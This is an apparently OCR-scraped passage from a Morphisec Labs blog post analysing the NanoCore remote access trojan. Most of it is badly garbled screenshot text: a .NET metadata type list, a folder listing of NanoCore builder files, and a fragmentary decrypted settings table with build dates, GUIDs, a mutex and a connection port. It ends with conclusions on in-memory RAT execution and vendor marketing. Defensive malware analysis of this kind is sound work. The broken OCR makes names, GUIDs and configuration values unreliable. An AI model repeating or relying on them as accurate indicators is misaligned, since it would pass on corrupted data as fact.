=) |YPERET (19 /) wenE auun w Ul i
Z 1-(Object-System) |5
2 - (IPAddress - System.

3 - (User - Microsoft. visL Mvid 000074C8 Word 0001 GUID Index
4 - (Hashtable - System.
5 - (Type - System)

& - (Guid - System) EncBaseld 000074CC Word 0000 GUID Index
7 - (IClientDataHost - Nz
8 - (IClientMameCbjectC
9 - (IClentReadOnlyMarr _
10 - (MulticastDelegate - @ \-J'7| . v ManoCore 1220 » MNaneCorel.220 »
i1 - (IAsyncResult - Sys'

12 - (AsyncCallback - Sy
13 - (DateTime - System’

|— (=] Dos Header

=) Nt Headers

=] File Header

= Optional Header
(& Data Directories fx]
— (= Section Headers []
— |2 Import Directory

— |5 Resource Directory
— |2 Relocation Directory
[ NET Directory

2] MetaData Header
&) MetaData Streams
-

Mame 000074C8 Word 15BF ManeCore Client.exe

Encld 000074CA Word 0000 GUID Index

Organize = Open Share with + Mew folder

o

(=] Tables Header 14 - (IClientData - Manot Favorit Name
[ Tables 15 - (IClentMetwark - Mz \_Favories
Bl #Strings 16 - (ICIientApp - ManoC BE Desktop . Databases
3 #US 17 - [&Clllenﬂ\letworld-iosi & Downloads | Dumps
= 18 - (WalueType - Systen r g
1= #5UID 2
. 18 - (Timer - System.Thr | Recent Places | Exceptions
| _'_|L Addi G or 20 - [Dictionlary'.ZI-Syst. . : : . Plugins
— @, Dependency Walker 2 ((E::uf u::;';rj C:I B ne | Resources
— “LHEK l?"iﬂo" 23 - (Queue” 1 - System, ; DDCL.ImEI"ItS | 4t
— *2_, Identifier 24 - (Mutex - System.Th Music ) ¥B6
_ _.-JW Adder 25 - (Streamiriter - Sys = Pictures | builder.log
B J“‘}&.d‘ Disassembler 26 - (Assembly - System E Videos client.bin
— ‘11; Rebuilder 27 - (ProcessStartInfo - e :
— ‘{LREH)LI‘CE Editor 28 - (UnhandledExceptio %] ClientPlugin.dll
29 - (ThreadExceptionEy & Computer =] ClientPluginml
. 30 - (Exception -Syste;m 57 © NanoCore.exe
?I_l Metwork |D PluginCompiler.exe

| plugins.bin

|| public.bin

Below is the decrypted settings snapshot from the three described instances of NanoCore.

Value Value Value
0x00000006 0x00000006 0x00000006
{11/23/2014 1:09:01 AM} {11/23/2014 1:09:01 AM} {11/23/2014 1:09:01 AM}

[0x00004E00] [0x00004E00] [0x00004E00]
{2441ccc/-e521-6225-4a86-bbbd0ea9b98f} {2441ccc7-e521-6225-4a86-bbbd0ea9b98f} {2441ccc7-e521-6225-4a86-bbbd0eadb98f}

{2/22/2015 12:50:08 AM} {2/22/2015 12:50:08 AM}
5 ill n' Plugin”

[0x00018800] [0x00018800] [0x00018800]
0x0000003E 0x00000040
1% "Key
"BuildTime" "BuildTime" 'BuildTime"
{4/18/2018 1:20:53 PM} {7/22/2019 7:42:39 PM} {9/24/2019 7:39:16 AM}

"Vers on
{1
utex "Mutex

{357beda

nnectionPort"
0x215B

estElevation"

ountControl"

buntControlData”

Conclusions
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This research further exposes the tendency of adversaries to abuse memory for the execution of known RAT
families that are otherwise easily detected when downloaded to disk. We also see a drastic increase in

sophistication over the last year through moving more and more of the attack stages into the memory while using

a legitimate Windows process to bypass whitelisting.
Adversaries have the advantage of what, when and where:

e Adversaries can choose where to inject their malicious code and when to execute it while the defenders can
not scan the full memory of a process in every possible millisecond without a significant impact on the

time and resources.
The only possible way to cope with such risk is by looking at things differently by applying preventive measures.

Automated Moving Target Defense, as well as additional preventive controls such as attack surface reduction

or/and proper access control limitation, would be able to help mitigate such a risk.

Morphisec prevents all the described attacks by applying Moving Target Defense on the process memory.

Get the ransomware-free
guarantee

Sacurity Misconfigurations

Get a demo
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Morphisec Labs continuously researches threats to improve defenses and share insight with the broader cyber
community. The team engages in ongoing cooperation with leading researchers across the cybersecurity spectrum

and is dedicated to fostering collaboration, data sharing and offering investigative assistance.

Source: https://blog.morphisec.com/nanocore-under-the-microscope
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